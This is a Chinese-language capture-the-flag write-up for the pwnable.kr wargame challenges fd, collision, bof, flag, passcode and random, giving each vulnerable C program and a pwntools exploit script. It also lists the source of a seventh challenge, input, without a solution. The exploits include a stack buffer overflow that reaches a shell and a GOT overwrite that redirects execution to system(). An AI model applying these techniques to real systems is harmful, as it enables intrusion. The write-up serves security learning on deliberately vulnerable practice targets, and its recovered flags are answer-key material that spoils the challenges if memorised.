pwnable.kr 1-6...

1.fd

char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;	//令fd==0即argv[1]==0x1234
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;
}

EXP

s = ssh('fd', 'pwnable.kr', 2222, 'guest') 
sh = s.process(['fd', '4660'])
sh.sendline('LETMEWIN')
print sh.recvall()

2. collision

unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){ //将输入的数分成五段,依次相加
                res += ip[i];
        }
        return res;
}
int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

EXP

s = ssh('col', 'pwnable.kr', 2222, 'guest')
code = p32(0x1DD905E8)+'\x01'*16 //之所以用\x01是因为\x00不能作为命令行参数
log.info(s.process(['col', code]).recvall())

3.bof

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me! //此处存在栈溢出,可覆盖掉key
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

使用IDA查看栈结构

s= dword ptr -48h
----------------------------------------
lea     eax, [ebp-2Ch]	//overflowme为ebp-0x2C
mov     dword ptr [esp+48h+s], eax
call    gets
cmp     dword ptr [ebp+8], 0CAFEBABEh //key为ebp+0x8

EXP

s = remote('pwnable.kr', 9000)
code = 'a'*52+p32(0xcafebabe) //0x2C+0x8 = 52
s.sendline(code)
s.sendline('cat flag')
log.info(s.recv())

4.flag

查壳发现有UPX壳,脱壳

root@lilin:~/pwn# upx -d flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 <-    380296   43.03%   linux/amd64   flag

Unpacked 1 file.

查看main函数,发现flag

   0x0000000000401184 <+32>:	mov    0x2c0ee5(%rip),%rdx        # 0x6c2070 
   -------------------
   (gdb) x/s 0x00496628
   0x496628:	"UPX...? sounds like a delivery service :)"

5.passcode

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1); //此处未加地址符号,故passcode1的值即为地址
        fflush(stdin);			//可以将passcode1理解为一个指针,如此便可以在数据段任意覆写
										//可以覆写以下任何一个函数的GOT表地址
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");  //在这里我们覆写printf的
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");  //←覆写内容为此条语句的地址
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name); //welcome在login之前调用,两个函数先后使用同一个栈基址的栈帧
        printf("Welcome %s!\n", name); //利用这里的scanf来操控passcode1的值
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}
payload = 'A' * 0x60      //填充字符,由&passcode1减去&name得到
payload += p32(0x0804a000)   //passcode1的值,这里用的是printf的GOT表的地址
s = ssh('passcode', 'pwnable.kr', 2222, 'guest')
io = s.process(['passcode'])
io.sendline(payload)
io.sendline(str(0x080485e3))	//将GOT表值覆写为call system指令的地址
print io.recvall()

6.random

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

计算机产生的随机数并不是真正的随机数,而是伪随机数,在C语言中,srand()被用来设置随机数种子,rand()则将种子经过一定的运算之后得到伪随机数,在种子相同的情况下,rand()的返回值也是相同的,在未设置种子的情况下会有一个默认的种子

int main(){
    unsigned int random;
    random = rand();
    printf("%u", random ^ 0xdeadbeef);
    return 0;
}
//----编译运行,得到结果3039230856-----

7.input

int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}

你可能感兴趣的:(二进制)